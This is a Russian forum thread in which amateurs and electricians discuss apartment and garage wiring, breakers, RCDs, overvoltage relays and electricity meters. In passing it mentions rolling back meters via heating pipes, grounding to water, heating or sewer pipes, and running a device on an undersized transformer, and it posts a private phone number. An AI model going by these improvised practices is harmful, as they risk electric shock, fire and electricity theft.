elmont33, кто-то из соседей заземлился на водопроводную трубу (возможно, сгоняют показания счетчика) - наиболее вероятный вариант.

Автор: Voldemar 20.6.2012, 23:04

 

"По фотографии" наиболее вероятное предположить сложно, но как вариант - такое возможно как раз, когда "умные профессионалы", которые и здесь иногда отмечаются, советуют занулять приборы на системы отопления/водоснабжения, либо сматывать счётчик по схеме "через батарею"...


Особенно, если хрущёвка блочная (со щитком в квартире)

Автор: Доктор Франкенштейн 20.6.2012, 23:07

Поддерживаю версию коллег...

Автор: Торонага 20.6.2012, 23:25

когда маза со сматыванием счетчиков резко набрала обороты (конец 80-х - начало 90-х), и народ интенсивно стал жаловаться на "токовую терапию", жко-вские контролеры моментально изобрели способ вычисления "затейников". Примитивно, но это работало.
Заходили в хату к потерпевшему, кидали перемычку с водопроводной трубы на трубу отопления, брали заурядный однофазный указатель напряжения ("индикатор"), касались радиатора отопленияч, на глаз засекали степень свечения индикатора, потом на пару метров вправо-влево тоже замеряли. Вот в какую сторону светимость увеличивалась, в той и копали виновного. Находили, разумеется, штрафовали.
а так, в 80-квартирном доме запарились бы повально искать.

Сейчас какие есть методы, наверное прогресс налицо?

Автор: Юзер 21.6.2012, 0:19

Сейчас счётчики меняют. Старые реверсы на новые счётчики не действуют. Пока что.

Автор: Доктор Франкенштейн 21.6.2012, 0:32

Да...сперва пошли счётчики со стопором, в обратку не пускали диск, а теперь - электронные...счётчик импульсов...нечего там вертеть...

Автор: Voldemar 21.6.2012, 0:35

 

Просто радиолюбитель не тот пошёл, что до 80-х, включительно...


На мелочи не отвлекаются...

Автор: HILANDER 21.6.2012, 1:16

я сейчас посчитал и действительно, не более 10 включений месяц, это свет, а яма вообще раз в месяц.
так что думаю наверно купить ящик, где автоматы сверху накрыты планкой и использовать их как включатели.
ну и отдельный вводной авомат будет на 50, так его можно отключить и в светлый день поменять автомат, раз в два года?

у меня там стоят обычные патроны под лампу накаливания - хочу поставить лампы ДРВ, бездроссельные
Есть ли вероятность что они могут взорваться? или подобрать помощнее обычные "сберегайки"? как у них со взрывом? или всё таки делать закрытые светильники?

Автор: Voldemar 21.6.2012, 2:21

 

Если угадаешь с автоматами - то при указанных режимах скорее всего тебе и через 10 лет не придётся их менять...


По освещению - хорошенько подумай, посмотри на практике где что стоит и как светит, и после уже определяйся, учитывая назначение...

Светильники в гараже лучше конечно закрытые...

Лампы?

Сугубо моё мнение: с ртутными и натриевыми нет смысла связываться, у них ПРА часто геморройная попадается, да и не для малых помещений они...

Энергосберегающие - я вобще всерьёз не воспринимаю... Для рабочего освещения не годятся, если же чисто для подсветки, "лишь бы не споткнуться" - их свет меня сам по себе раздражает...

Если бы делал себе на сегодняшний момент - сильно не заморачивался бы и для общего освещения поставил бы обычные накаливания через блоки плавного пуска, и на рабочие места через отдельный автомат - КГ-шки...

Можно задуматься о светодиодных, но в городе готовых светильников практически выбора нет, и недёшево это пока...

Есть в Радиолинке неплохие по параметрам модули светодиодные, пригодные даже для рабочего освещения, в среднем по 350р плюс питание к ним, но с ними надо эксперементировать и конструктивно самому дорабатывать... Сам поэксперементировал бы, интерес есть, но пока острой необходимости нет...  

Автор: gesel 21.6.2012, 7:22

Да, в быту каждый из нас сам себе хозяин. Но всё дело в том, что из быта свой опыт зачастую переносится и дальше.
Совсем недавний пример:
По улице Берзина в лаборатории, расположенной на первом этаже пятиэтажки, директору (т.е. якобы хозяйке этого заведения) показалось, что количество светильников, подсчитанное в проекте слишком завышено. Подрядчик оказался опытный, изменил чертежи в соответствии с требованиями заказчика, но заставил под каждым листом заказчика расписаться. По прошествии непродолжительного времени (может быть это было после визита СЭС, а может быть сами поняли) низкая освещённость перестала удовлетворять заказчика. Теперь "локти себе кусают" - кто же вторично на выполненную работу деньги из бюджета выделит?


Кстати, Voldemar, если это высказывание (по поводу глупости) имеет отношение и к нормам эксплуатации автоматических выключателей, то эта глупость потом вылезает частой их заменой.

Автор: Доктор Франкенштейн 21.6.2012, 8:46

А вот и результат нашего обсуждения...
Человек почитал и принял для себя решение...

Автор: HILANDER 21.6.2012, 23:36

так, надо ещё светильники купить закрытые.

Автор: slava260 22.9.2012, 22:49

Простите а "пробки" предохранители или автоматы разве не должны срабатывать при скачках напряжения? Или у вас "жучки" стоят?

Автор: oag 22.9.2012, 22:49

Я не в тему, конечно, но... друзья, надежды на качественное электропитание мало. Если вам дороги ваши электроприборы, включайте их в сеть хотя бы через элементарный стабилизатор напряжения. Всякие там сетевые фильтры, пита "Пилот", вам не помогут, скорее всего.

Автор: Axel 22.9.2012, 22:54

А существуют стабилизаторы, что б в щиток встроить? и все через него чтоб шло.

Автор: Доктор Франкенштейн 22.9.2012, 22:57

Друзья мои...
Никакой автомат или плавкий предохранитель НЕ ЗАЩИЩАЕТ от ПЕРЕНАПРЯЖЕНИЯ...Это защита по ТОКУ...
Читайте физику, школьный курс...Закон Ома...Ток и напряжение - не одно и то же...От перенапряжения может спасти ДПН, установленный вместе с УЗО...Или реле напряжения...Но реле, как правило, не вывозит по нагрузкам и работает, как контрольный прибор и требует применения исполнительного механизма...Только это всё не в рамках данной темы...

Автор: oag 22.9.2012, 23:00

Axel, сомневаюсь, что прямо в щиток, но поставить на входе в квартиру что-то подобное, думаю, можно. Вопрос цены стабилизатора, который вывезет такую нагрузку.

Автор: slava260 22.9.2012, 23:01

УЗО у меня стоит в автомате на ванную комнату чтобы от стиральной машины не шваркнуло. На всю квартиру простые автоматы на сколькото там Ампер. Что ещё надо? Что такое ДПН?

Автор: Доктор Франкенштейн 22.9.2012, 23:02

Однофазный, на 10 кВ - 12000-15000 руб...и габариты у него, мягко говоря...

slava260, где-то была тема про электрику...не авто...давайте туда, офф-топеры...

Автор: Axel 22.9.2012, 23:03

на сколько помню закон ома I=UxR, т.е. напряжение прямо пропорционально силе тока. Сопротивление в цепи у нас не меняется (или меняется?), тогда при увеличении напряжения увеличивается и сила тока, на которую и должен сработать автомат...

Вопрос к знающему человеку (без сарказма), Доктор Франкенштейн, где ошибка в моих рассуждениях?

Автор: Voldemar 22.9.2012, 23:11

 Axel, пересчитай сопротивление, к примеру, телевизора, на 380v - максимум, что возможно в квартире - и убедишься сам, способен ли будет стандартный автомат защитить нагрузку... При этом учти, что автомат работает ещё и по тепловой отсечке...

Автоматы, если "по народному" - защищают электропроводку, т.е. - противопожарные функции в первую очередь...

Автор: Торонага 22.9.2012, 23:13

Axel, ошибка не в рассуждениях, ошибка в оценке результатов вычислений по приведенной тобой формуле.
допустим, напряжение в какой-то момент составило 270 вольт, это примерно 1.23 от номинала. Ток растет пропорционально - да, ну и считай, предположим у тебя автомат на 16 ампер, на него заведено все освещение в хате, при всем включеннном сосёт 10 ампер. При скачке - получается 12.3 ампера.... всяко меньше номинального тока автомата (16А) и уж точно меньше уставки токовой защиты.

Автор: Доктор Франкенштейн 22.9.2012, 23:21

Ребят, ну, правда, пойдём в профильную...
http://am49.ru/talk/index.php?showtopic=94020

Voldemar, я, по случаю, обзавёлся ДПН-ами...но мне привезли ДПН-260 (это тип, а напряхение есть на 250 и 260 В) на 260 В, хотя я разъяснял, что надо ДПН-260 на 250 В...
Надо поискать, куда запулил...Валяются же где-то...

Автор: slava260 22.9.2012, 23:21

Что такое ДПН?
Уже посмотрел в Википедии...
http://www.electric-house.ru/forum/viewtopic.php?f=1&t=1194

Автор: Доктор Франкенштейн 22.9.2012, 23:32

slava260, датчик превышения напряжения...

slava260, а я быстрее "педии" ответил...

Автор: Торонага 22.9.2012, 23:34

и на этом, думаю, рассуждения окончатся
вот если б в теме про угнанное авто этот вопрос всплыл, так наболтали бы страниц 5 минимум.

Автор: Доктор Франкенштейн 23.9.2012, 0:36

Начнём с ошибки: Сила тока в участке цепи прямо пропорциональна напряжению и обратно пропорциональна электрическому сопротивлению данного участка цепи. Т.е. не Ux(умножить)R, а U(разделить)/R...
Чем будет выше напряжение, тем выше ток (что следует из пропорции, ну 4/2, например, меньше, чем 6/2..."2"=R, "4" и "6" - разным уровням напряжения)...Т.е. при неизменном сопротивлении ток будет расти при повышении напряжения...Это, что касается закона Ома...

Автор: Axel 23.9.2012, 0:40

Т.е. при неизменном сопротивлении ток будет падать при повышении напряжения...Это, что касается закона Ома...

не согласен, даже если делить на сопротивлении, то все равно при увеличении напряжения, при неизменном сопротивлении вырастет сила тока, что следует из фразы "сила тока прямопропорциональна напряжению".

Автор: Доктор Франкенштейн 23.9.2012, 0:42

Axel, ну, да, верно...это я и хотел написать...дочки отвлекли, блин... Женщины, в том числе и молодые, умеют мозг занять...
Благодарю за поправку... (пример с циферками-то без ошибки... )

Автор: hopter 24.9.2012, 15:45

См. файл. Это предполагается к монтажу. Я маньяк-извращенец-перестраховщик?

 ______________________.doc ( 32 килобайт ) : 308

Автор: Доктор Франкенштейн 24.9.2012, 17:33

hopter, УЗО достаточно и одного, на вводе...с током утечки 30 мА...Либо, вполне достаточно УЗО, что по группам планируется устанавливать...Тогда на вводе нафиг не нужно...Ну и сама схема...Можно, конечно, и от общего щитка к каждой лампочке-розетке отдельный провод прокинуть...А зачем?..В стандарте (по проекту) три автомата легко управляются с "двушкой"...Один на плиту, два - по группам...Ну, добавить ещё, к примеру, один-два...Я не сторонник схем, где делят освещение, розетки, да ещё и покомнатно...Либо для этого нужны веские основания, бо удорожание по материалам, да и по объёмам работ, получается, либо ни к чему оно...
Всё вышесказанное - только МОЁ мнение...

Автор: Voldemar 24.9.2012, 17:39

 

Таки да: именно так, как ты сам про себя и сказал...


У меня на трёхкомнатную - 6 автоматов + вводной и 2 УЗО, и то сам считаю - от барства...

Автор: Доктор Франкенштейн 24.9.2012, 17:49

hopter, по ходу, коллега Voldemar со мной согласен...

Автор: hopter 24.9.2012, 18:10

ну и ладно за-то прикольно

ну и ладно за-то прикольно

за-то мега автономность потребителей, всего-то 12 автоматов
не отрываясь от чашки кофе, ковыряться в розетке в коридоре

я знаю, что ковыряться в розетке приходится раз в десять лет, а может и вообще не придется, но блин, нравится мне куча выключателей в щитке с подписями по группам

Автор: slava260 24.9.2012, 19:54

У меня дом старый "Сталинка" заземление не предусмотрено. Я так понимаю что вместо "земли" используют "ноль" идет зануление так сказать только не в квартире а в щитке на подъезд. Вопрос - влияет ли отсутствие полноценного заземления на срабатывание УЗО и вообще может ли "ноль" заменить "землю"?

Автор: Voldemar 24.9.2012, 20:49

В схемах, где отсутствует зануление, УЗО даже более необходимо, чем в схемах с занулением...


И "ноль" "землю" заменить не может, он может заменить "зануление" - нулевой защитный проводник, который и используется в евророзетках с третьим контактом (земля и зануление - разные вещи)... Только в каждом конкретном случае надо индивидуально решать, где и как его использовать в качестве зануления... В зависимости от особенностей объекта... В любом случае - "зануление" по мере возможности желательно брать с "ноля" как можно ближе к источнику электроэнергии... "Источником" подразумевается тр-р на 0,4 кв с глухозаземлённой нейтралью...

Автор: Доктор Франкенштейн 24.9.2012, 21:45

hopter, поставь, сколь душа просит, подпиши, а провода заведи в три-четыре...
А занулением наобум, абы было, не увлекайтесь...Простейшая вводная: отгорела нулевая жила, пусть, в щитовой дома...Итого, потенциал появляется на нулевой жиле далее по цепи, и, до кучи, на корпусе занулённого оборудования...Так что...не всё однозначно...

Автор: Bubuka 24.9.2012, 22:07

ни разу не видел, чтобы "ноль" обгорал. Обычно "фаза" сгорает, хотя, у нас, может быть все, что угодно.

Автор: slava260 24.9.2012, 23:08

Это точно. Хотел плиту заземлить на батарею. Потрогал батарею отверткой с индикатором так она (отвертка) загорелась будто я фазу нащупал...
Для полноценного заземления достаточно будет закопать лом в землю в подвале и вывести от него провод? На трубы канализации можно заземлять?

Автор: Доктор Франкенштейн 25.9.2012, 14:52

Не видел - ключевой момент...А я насмотрелся, в своё время (и навосстанавливался), этих самых нулевых жил мама не горюй...Далеко не всегда это видимый разрыв, чаще - простое окисление или электрокоррозия контактов...Такие вот дела...

Автор: Bubuka 25.9.2012, 17:43

согласен. И внутренний перелом (под изоляцией) - тоже ползаешь-ищешь.

Автор: gesel 25.9.2012, 20:36

Андрей, трёх автоматов для "двушки" мало:
1-освещение;
2-розетки комнат;
3-розетки кухни;
4-электроплита.
Это по СП-31-110-2003.

А если "трёшка", то там все пять.

Кроме того, освещение и розетки делить придётся из-за разного сечения провода и, соответственно, разных номиналов, требуемых для защиты линий автоматических выключателей.

Автор: GOLLANDEC 25.9.2012, 20:53

gesel, Серега, но стоит то три, свет - розетки - зал - бытовка; маленькая комната - кухня; третий - плита

была подобная картинка со свежепроложенной проводкой, ДЭМовцы проложили, а розетка не пашет, начали разбираться, вскрыли кабель двойной изоляции.., изоляция как положено была, а вот два метра жил тю-тю с завода

Автор: gesel 25.9.2012, 21:16

Установлены три автомата, но дома построены по проектам какого года? И на какого года норматив я ссылаюсь? (2003)

Автор: Доктор Франкенштейн 25.9.2012, 21:25

gesel, Серёж, ну я же не спорю о действующих нормах, и пишу, что добавить один-два - нормально...А три автомата упомянул к тому, что в какие годы бы это не проектировалось, каким материалом бы ни было исполнено, а работает...и немало лет...Так что, основная моя мысль - разумная достаточность...
Всё равно, никакие нормы проектирования не учитывают факторов, влияющих негативно на надёжность и качество электроснабжения, к сожалению...Уж ты-то это знаешь...
А когда сети старые...

Автор: GOLLANDEC 25.9.2012, 21:28

Доктор Франкенштейн, я б даже добавил..., не гонитесь за увеличением номиналов автомата без замены проводки на соответствующую, а то автомат как вкопанный будет стоять, а скрутки подгорать потихой....

Автор: Доктор Франкенштейн 25.9.2012, 21:37

GOLLANDEC, порой замена сетей нужна аж до ТП...

Автор: Axel 29.10.2012, 17:26

Доктор Франкенштейн, у меня тут вопросик, сколько стоит заменить проводку в двухкомнатной хрущевке? Или сложно ли это сделать самому, зная схему и где проходят провода? Начали ремонт, пока все в стадии разрушения, думаю подправить искричество в квартире.

Автор: Доктор Франкенштейн 30.10.2012, 14:03

Axel, по ценнику не подскажу, бо, как договоришься и с кем...А сделать-то несложно...Если существующая идёт в каналах, то можно использовать их, а можно и перештробить, как желается...Просто, изначально, привлечь специалиста для консультации, изложить ему свои пожелания, выслушать его рекомендации, просчитать количество материала...После самостоятельной прокладки новой проводки (самая объёмная и, по сути, дорогостоящая часть работ) пригласить его же для сборки схемы (соединить проводки в коробках и подключить новую схему к щиту)...Такой метод сэкономит ресурсы...

Автор: Axel 30.10.2012, 17:12

взял вчера приборчик для поиска проводки, нашел где что и как, потом решили с батей не менять пока всю проводку, т.к. времени пок не достаточно, а так я думаю не сложно ничего, в потолке вообще протянуты же через заводские отверстия, и не зажаты по идее, т.е. можно взять шнурок, вытянуть старую проводку оставив там "прогон", и потом прогоном протянуть через потолок новый кабель, ну в стене через готовые штробы проложить новый кабель, и замазать его. Я правильно это себе представляю? В распределительных коробках собрать по старой схеме, как было, т.е. от кабеля который от щитка отдельно кабеля к розеткам и выключателям. Ну а в новом щитке уже что б орудовал электрик, и как положено все опломбировал, что б не было потом вопросов. Но это будет позже, сейчас надо привести квартиру в приемлемый вид, проводкой будем заниматься через годик другой.

Автор: Bubuka 30.10.2012, 17:16

В потолке проще - к старому кабелю привязал новый и вытягивай. Старый вышел - новый за ним зашел. Знакомый менял проводку в такой же квартире - под ключ, включая наведение порядка в эл.щитовой, на площадке, с новым счетчиком. Тысячь в сорок все это вылезло. Правда, электрик, после работы, свои штробы сам замазывал и затирал. Менял все напрочь - даже коробки новые закладывал в комнатах. Старую проводку просто отрезал - и на помойку.

Автор: Axel 30.10.2012, 17:29

по поводу замазки и затирки, для себя у меня мама хорошо делает (она и была инициатором ремонта), а все остальное вроде не сложно =)

Автор: Defined 30.10.2012, 20:05

Axel, Если разетки и включатели будете вниз переносить, под евро стандарт, то штробления укладки проводов и замазывания не избежать

Сегодня только сам закончил проводку менять в квартире (кроме кухни, её ещё предстоит только) - где штробил, где по старым каналам протягивал. Дело муторное, но ума много не надо. А вот при соединении пришлось включать мозг, потом идти за пузырём и только потом уже понимать чё к чему.
Для себя сделал вывод, что если чего-то нет ( включателя мозга в направлении проводки или пузыря) - то лучше пригласить электрика, как уже описано было выше, ну а там решать уже по цене.

Чуть не забыл - до пузыря я лишился отвёртки методом Короткого Замыкания "Спасибо" строителям и бывшему хозяину квартиры, приложившему свои руки к электричеству.

Автор: GOLLANDEC 30.10.2012, 20:19

не надо много ума и соединить правильно провода, но надо грамотно сделать скрутки, а лучше обварить их кончики, вот на это точно не помешал бы хороший электрик со сварочником

Автор: Axel 30.10.2012, 20:29

а что скажете про соединительные колодки? вместо скруток

Автор: GOLLANDEC 30.10.2012, 20:36

Axel, скажу, что если тебе проводка не нужна или по принципу на наш век хватит, то вперед, скажем так 50 герц со временем все равно расшатывает резьбовые соединения (срок не малый, но это минус), новые (относительно конечно новые) фишки от Vago штука не плохая, но если надо подключить одну - две розетки или люстру, лучше всего скрутка и что б было надежно и достаточно на вечно надо кончики "варить" ИМХО

Автор: Defined 30.10.2012, 20:43

GOLLANDEC, тут смотря какая будет загруженность сети.. Ну и медь с алюмишкой не скручивать. А вот когда от включателя один проводок ( ноль ) идёт всего неизвестно куда, но лампочка вкючается и выключается, а на другой включатель фаза приходит и уходит, но ничего не работает..? Вот там я за пузырём и пошёл..

Axel, а куда их сувать потом? И как изолировать?

Автор: GOLLANDEC 30.10.2012, 20:46

Defined, ну.. на выключатель ноль то и не должен вообще приходить, иначе фазик напрямую в патрон придет и сюрпрайз может быть даже при выключенном выключателе

Автор: Defined 30.10.2012, 20:50

GOLLANDEC, так вот и я о том же. ВСЕ включатели ноль пропускали, а фаза на прямки шла, вот и переделывал всё.

Автор: GOLLANDEC 30.10.2012, 21:01

Defined, о чем я Асхату и написал, правда в http://am49.ru/talk/index.php?s=&showtopic=82943&view=findpost&p=893650, если есть такая штука как у тебя, то проще (если нет зануленых розеток) в приходящей (первой) коробке на квартиру от щита перекинуть ноль и фазу местами

Автор: Defined 30.10.2012, 21:29

GOLLANDEC, вот пару дней назад бы, когда я начинал свою затею с проводкой! Хотя так я зато все скрутки проверил ;-)

Автор: GOLLANDEC 30.10.2012, 21:36

Defined, дык спросил бы, пофлудили б

Автор: Defined 30.10.2012, 22:04

GOLLANDEC, да чёт раньше не видел этой темы.. Пока не коснулось, видимо А так я звонил знакомому электрику консультировался, почему у меня на проводе два ноля..?

Автор: GOLLANDEC 30.10.2012, 22:34

Defined, я так понял, ты нашел почему

Автор: Bubuka 31.10.2012, 7:58

В городе такая путаница часто встречается. Раньше делали все наскоряк, проводка не маркировалась, жили одинаковые по цвету. Лепили поперек борозды - работает, ну и ладно! Я тоже скручиваю проводку. Колодки - это хорошо, но стоит перегрузить проводку, хотя бы ненадолго - завоняли от нагрева. А так - скрутил, обварил или пропаял, цветными колпачками для скруток прихватил - и нормально. Розетки у нас продают неважные - все больше для гипсокартона. Незнающим впуливают, а начинаешь в стену монтировать, зажимные усики гнутся и не держат. Приходится еще и раствором закладывать, чтобы зафиксировать. Но потом не выдрать - только кувалдой!

Автор: Доктор Франкенштейн 31.10.2012, 14:05

Колодки (если речь о колодках) вполне себе хороши, но габаритные слишком и я не особо доверяю тем трём ниткам резьбы, за которые цепляются болты на контактных клеммах, в части надёжности, клеммы соединительные болтовые - полное...хм...оно...К тому же, все болтовые соединения нужно обслуживать, согласно регламенту.
Скрутка+сварка - дело, но...не обязательна, на мой взгляд, для квартиры...Вполне достаточно качественной скрутки+колпачка (из этих, новых), только подбирать нужно по типоразмеру...

Автор: Axel 15.11.2012, 19:00

Помогите пожалуйста, отцу нужна консультация по элестричеству, позвоните кто хорошо в этом шарит 89148572413 Фарит.
Заранее спасибо.

Автор: Defined 16.11.2012, 17:21

Axel, хоть бы немного проблему описал.. А то так спрашиваешь - Кто шарит? Шарить можно по-разному. Я вроде и шарю, а с другой стороны и не шарю вовсе.. Не буду звонить позориться

Автор: Axel 17.11.2012, 13:14

уже отзвонились, помогли =) проблема оказалась не проблемой, а мелочью, но без знаний даже этих страшно быть замкнутым =) надо было подключить плитку электрческую, когда отрезали штекер с плиты, не запомнили где фаза, где ноль, где земля, и был вопрос как это дело найти =)

Автор: custo 17.11.2012, 14:23

У меня вот такая ситуация, Энергосбыт поставили мне новый счетчик два года назад, бесплатно, платежи за электричество по моей квартире выросли в два раза. И вот, когда в сентябре 2012 намотал на 4 тысячи рублей, при этом особо не включая что то мощное, обратился в энерго сбыт с просьбой поменять счетчик. Поменяли без проблем, бесплатно, согласившись, что энерго трафик реально велик. Однако на просьбу сделать перерасчет за эти два года ответили, что необходимо сделать поверку старого счетчика и получить акт о том, что он неисправный либо исправный. Подскажите, где можно сделать такую поверку? Спасибо.

Автор: Bubuka 17.11.2012, 14:52

Скуридина - 5Б. Там проверяют счетчики. (На Якутской, за 17-й школой и д.с. 38 ) проезд мимо гаражей. Стоимость проверки дороже самого счетчика раза в два.

Автор: Юзер 17.11.2012, 15:46

Оформляй документально с копией письменную претензию энергоснабжающей организации, указывай на недостоверность показаний и требуй письменного заключения о результатах поверки и перерасчёт. Проблемы поверки решать обязаны они. И готовься обращаться в суд.

Автор: custo 17.11.2012, 16:28

Если они сами будут поверять счетчик, то я уверен, что заключение будет — он исправный.

Автор: Юзер 17.11.2012, 16:49

Требуй проверку независимой организацией , но за их счёт. Заодно требуй , чтобы эта же независимая организация за их счёт дала заключение о том , правильно ли выполнен монтаж щитка (могли , например, через твой счётчик запитать твоих соседей).

Автор: Доктор Франкенштейн 9.1.2013, 13:40

Я тут на балконе что-то искал по хозяйству и, неожиданно, нашёл две коробочки с ДПН-260 (выше про них писал), но напомню:
ДПН-260 - датчик превышения напряжения предназначен для ограничения максимально допустимого напряжения на нагрузке.
ДПН работает совместно с УЗО или дифференциальным автоматом с током утечки 10-300 мА. Срабатывание ДПН обеспечивает лавинную утечку через УЗО (дифф.автомат), что обеспечивает минимальное время срабатывания последнего.
Превышенное напряжение - результат аварии или избытка электроэнергии, связанного с ее неравномерным потреблением. Длительная работа при повышенном напряжении ускоряет расход ресурса аппаратуры, а значительное превышение нормального уровня напряжения приводит к выходу из строя и возможному возгоранию. Для защиты нагрузки от резких и больших всплесков напряжения служит ДПН-260.
Технические характеристики:
Время срабатывания 0,01с.
Точность установки напряжения срабатывания ±1%.
ДПН отстроен от высокочастотных импульсов напряжения (Ти<1мс), что защищает потребителя от ложных отключений.
ДПН выпускается с напряжением срабатывания 250 и 260 В.
Датчик выполнен в стандартном модуле (D=17,5мм) для установки на DIN-рейку 35мм.
ДПН имеет встроенную световую индикацию рабочего состояния.

Вещица, в нашем "мегаполисе" мне не встречавшаяся до сего момента...Надо кому (типа, изучение спроса )?..
Там их у меня десятка полтора...

Автор: GOLLANDEC 9.1.2013, 20:08

тезка, а не ты ли все и выгреб? интересная штучка, как автомат ставится отдельно? или в разрыв к автомату? УЗО у меня нету..., да и больше пока интересно, чем нужно

Автор: Voldemar 9.1.2013, 22:33

УЗО обязательно... Дифференциальный автомат: подразумевается то же УЗО, объединённое с автоматом - т.е. и по току перегрузки защита...
Просто УЗО - по перегрузке защиты не имеет...

Автор: Доктор Франкенштейн 10.1.2013, 0:17

GOLLANDEC, не я... У меня - доставка из Москвы...
По принципу действия тебе Вольдемар уже написал...ДПН сам по себе никак не сработает...

Автор: GOLLANDEC 10.1.2013, 0:24

портал на балконе? очень удобно! а тут народ ищет как туды чего передавать и обратно

Автор: dissector 10.1.2013, 0:27

че это, стабилизатор чели? спик зе рашен.
пи.си. если,да-мне 2.

Автор: Voldemar 10.1.2013, 1:21

Нет, это правильнее - "отрубатор"




Попробую...

УЗО работает по принципу сравнения (на "микротрансформаторе") токов, проходящих по фазе, и по нулевой рабочей жиле - когда появляется утечка (пробой на корпус, прикосновение человека к токопроводящей части и т.п.), и эти токи уже не равны, оно отключает линию... причём отключит, даже если приборы исправны, но в цепи после УЗО где-то пересекутся рабочий ноль и зануление...


ДПН создаёт такую утечку на УЗО (подключается к УЗО, если не изменяет память, по "диагонали" - вход фазы-выход ноля) при отклонении напряжения, и УЗО опять же отключает всю линию, без самовозврата (включать его надо вручную, как и обычный сработавший автомат)...

Автор: Доктор Франкенштейн 10.1.2013, 12:54

Ну, чтоб была ясность в, так сказать, бытовом раскладе, могу пояснить так: ДПН не спасёт от превышения напряжения, не достигающего его уровня срабатывания (260 В), но критичного для аппаратуры какой-нибудь...Однако, отключит УЗО, если такой уровень будет достигнут...Когда такой случай может возникнуть?..Да когда угодно, учитывая состояние внутридомовых сетей...Полезно так же в частном доме, запитанном от воздушной линии электропередачи...Элементарный "обрыв нуля" и бац...в розетке уже за 300 В перевалило...Потом начинаются хождения по инстанциям, поиск правды (в смысле, кто оплатит ремонт сгоревшей бытовой техники) и прочие "удовольствия"...
Вот для предотвращения подобных случаев и существует ДПН...

Ну, чтоб была ясность в, так сказать, бытовом раскладе, могу пояснить так: ДПН не спасёт от превышения напряжения, не достигающего его уровня срабатывания (260 В), но критичного для аппаратуры какой-нибудь...Однако, отключит УЗО, если такой уровень будет достигнут...Когда такой случай может возникнуть?..Да когда угодно, учитывая состояние внутридомовых сетей...Полезно так же в частном доме, запитанном от воздушной линии электропередачи...Элементарный "обрыв нуля" и бац...в розетке уже за 300 В перевалило...Вот для подобных случаев и существует ДПН...

Автор: Axel 12.1.2013, 19:19

Доктор Франкенштейн, у меня тут вопросик возник. Не хочу платить за свет кооперативу (там все сложно и документов об оплате я не получаю), а хочу чтобы был отдельный ввод. Это сложно делается? и сколько стоит, т.к. сам на столб не полезу, да и не хочу чтобы токнуло =) Счетчик в гараже стоит. Думаю что там надо только кинуть правильно кабель до гаража с напротив стоящей опоры. Или я не прав?

Автор: rusinchic 12.1.2013, 19:51

Axel, 1).нужно сходить в сбыт и узнать дадут ли они добро на подключение.
2)счётчик придётся переносить или на столб,или на наружную стену гаража.
3)соответственно делать бугель на гараже,ну и т.д. и т. п.

Автор: Доктор Франкенштейн 12.1.2013, 20:06

Axel, тут маловато информации...Кооператив - это как, в данном конкретном случае?.. Отдельные гаражи на определённой территории или гаражные боксы, стоящие единым блоком?..Питание от чьей линии производится (это желательно по месту смотреть, есть кооперативы, у которых и трансформаторная подстанция на балансе, не то, что "воздушка")?..Если так, то надо решать внутри кооператива. Если это капитальные гаражи, то хлопот вообще дофига...Короче, подключиться на опоре - наименьшая из проблем...Дистанционно не смогу толком поконсультировать, надо смотреть/беседовать...

Автор: shans2 10.6.2014, 11:38

Приьбор 5,6 Ампер на 110 вольт и понижающий трансформатор 500 Вт подружатся?

Автор: dissector 10.6.2014, 12:04

500ва(вт)\110 вольт=4,54(54) апмера
нет.

Автор: Voldemar 10.6.2014, 14:56

Петька - прибор?!
Пятьдесят!
Что - пятьдесят?
А что - прибор?



Если чисто теоретически - Руслан всё доходчиво расписал...
На практике...

Что за прибор? Максимально указанный ток не всегда бывает равен номинальному... либо максимум - может быть кратковременный...
Трансформатор если обычный, то вышеприведённая формула имеет место быть, если используется вариант с отпайкой между катушек по высокой (режим автотрансформатора), то его мощность можно смело умножать на два... Если это старый советский транс - там ещё процентов двадцать можно накидывать - наши с запасом мотали, в отличие от буржуев...

Автор: shans2 10.6.2014, 15:04

Прибор - ламинатор. Трансформатор не наш, но тяжелый 3,5 кг.

Проще воткнуть, ну сгорит предохнатель на трансе. Делов-то Что я и сделал. Всё работает

Автор: dissector 10.6.2014, 15:56

shans2, следи за темпером трансформатора и будет счастье.

а вообще , судя по весу транса- там СОВЕЦКИЕ 500ВАТТ.

Автор: shans2 10.6.2014, 15:57

dissector, на полу, а там сквозняк Транс китайский. С США/Кореи. У меня "парк" таких: 2000, 3000 и этот 500 Вт.

Автор: KAMAZ 1.4.2015, 19:59

Китайский налобник попался феерический. Феерически ярко и далеко светит и феерически быстро садится батарейка. Какую батарейку поставить? Чтобы на морозе не мерзла..

Автор: Гидр 1.4.2015, 20:30

KAMAZ, вообще обычно в фонарики ставят аккумуляторы. А на морозе всё что угодно садится, что батарейки, что аккумы.

Автор: KAMAZ 1.4.2015, 20:34

Гидр, я имею в виду только аккумуляторы, где я в лесу батарейки на замену найду? Вопрос в том, что аккумуляторы разные бывают...

Автор: Дукат 1.4.2015, 20:36

Led Lenser H7R.2 ничего не мёрзнет работа батареи 60 ч.

Автор: Гидр 1.4.2015, 20:54

KAMAZ, какой вопрос - такой и ответ. Откуда я знаю, что там за фонарик и в какой Марианской впадине он будет эксплуатироваться...

Автор: ZND 1.4.2015, 22:04

в лесу батарейки нужны. дэска(абэшка) навернутся и всё - заряжать нечем. по опыту - навигатор батарейки день без перерыва (когда трек пишешь) держит, а дороги несколько дней. распаковывать генератор на ночь долго и не хочется. батарейки поменял и все. с фонариком такая же ситуация. просто батареек берешь несколько комплектов на девайс. да и дэску гонять несколько часов заряжать фонарик не вариант, она под нагрузкой должна работать.

Автор: rusinchic 1.4.2015, 23:21

я и батарейки подзаряжаю, но для этого опыт нужен- они бывает взрываются .Кстати, у батареек больше напряжение и они дольше всё-таки работают(нормальные если).

Автор: Брат 2 1.4.2015, 23:46

Подскажите сколько должен быть ампер часов акумм, чтоб от него месяц постоянно включенный сотик заряжать, речь идет омаленьких аккум, (размером чуть меньше буханки хлеба, 12в)

Автор: Firwalle 2.4.2015, 0:03

Для этого нужно посмотреть сколько амперчасов у аккумулятора сотового телефона и разделить это значение на кол-во дней, на которое обычно хватает зарядки аккумулятора, потом умножить на 30 - это необходимое значение амперчасов. Потом 12 разделить на количество вольт, указанных на батарейке телефона и "необходимое значение амперчасов" разделить на полученный коэффициент. =)

Автор: dissector 12.1.2016, 1:14

узо подключать как ?
схем нет

Автор: rusinchic 12.1.2016, 8:52

вообще-то должна быть схема на аппарате

Автор: Firwalle 12.1.2016, 9:03

Фаза (фазы) слева, нейтраль - справа, заземляющий проводник должен быть соединен с нейтралью до УЗО.
Подключение источника сверху, потребитель снизу.

Автор: dissector 12.1.2016, 11:20

Земля нэт. )

